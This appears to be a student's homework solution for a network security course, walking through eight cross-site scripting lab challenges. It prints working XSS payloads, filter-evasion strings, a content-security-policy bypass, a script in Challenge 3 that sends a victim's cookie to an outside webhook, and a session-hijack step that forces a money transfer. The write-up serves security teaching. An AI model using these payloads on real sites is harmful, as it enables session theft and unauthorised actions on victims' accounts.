Homework 1 Solutions

Network Security and Privacy

Ryan Zhou (rz3974)

1 Challenge 1

Challenge 1 is straightforward. The server doesn't sanitize any input and simply throws whatever is entered in the textbox onto the HTML document. To show an alert, we simply enter the string `<script>alert(1);</script>`.

2 Challenge 2

The server in Challenge 2 tries to sanitize input a little bit by removing the all occurences of `script` it finds in one iteration. Unfortunately, it is easily fooled by entering the string `<sscriptcript>alert(1)</sscriptcript>`.

3 Challenge 3

I found Challenge 3 to be the most difficult out of all the challenges. The idea is to put script on the comments that would execute when Skip visited the page and steal his session id. The script I wrote is as follows:

```
<script>
    var req = new XMLHttpRequest();
    req.open("POST", "https://webhook.site/d6e1cf60-5226-415b-be14-6b0a4e975e5e");
    req.send(document.cookie);
</script>
```

I originally tried to post the cookie to the comments page but I wasn't sure how to format my form-data parameters correctly. I tried to use `FormData` objects but for some reason they were being formatted strangely. Instead, I used webhook.site, which allows you to POST data to it. I then fetched the session id when Skip inevitably visited the page: mag1c_c00k1e.

4 Challenge 4

The content security policy specified in the head of Challenge 4 explicitly allows resources from *.cs.utexas.edu. I created a simple javascript file `alert(1);` and hosted it in my public folder. Then in the textbox for Challenge 4 I entered the text `<script src="https://www.cs.utexas.edu/~ryanzhou/attacker.js"/>`.

5 Challenge 5

The red herring in Challenge 5 is the password field, which is not necessary to show an alert. Instead, I noted that the site would read the `bgcolor` property from the stored cookie. I then modified the cookie to contain the string `red"><script>alert(1)</script>`.

6 Challenge 6

Challenge 6 yet again iterates on the attempted input sanitization in Challenge 2 by also filtering out instances of alert. This is still not enough. To show an alert, I entered the string `<sscriptcript>aalertlert(1)</sscriptcript>`.

7 Challenge 7

Challenge 7 finally repeatedly iterates over the input until all instances of `script` are removed. All is not lost however. Instead, I used the `onerror` property that certain elements have, for example the `<img>` tag. I point the image source to some nonexistent image and set the error handler to `alert(1);`. The full string is `<img src="attacker.jpg" onerror="alert(1);">`.

8 Challenge 8

There are several steps to Challenge 8. First, we need to impersonate Skip. Then we need to force the give.php file to execute on the parameters we give it. First, I used the javascript console to set the cookie: `document.cookie="PHPSESSID=mag1c_c00k1e"`. I then passed in the recipient and amount parameters in the URL:
http://18.220.173.25:37800/archive_40/part8/give.php?amount=51537&recipient=Hacker.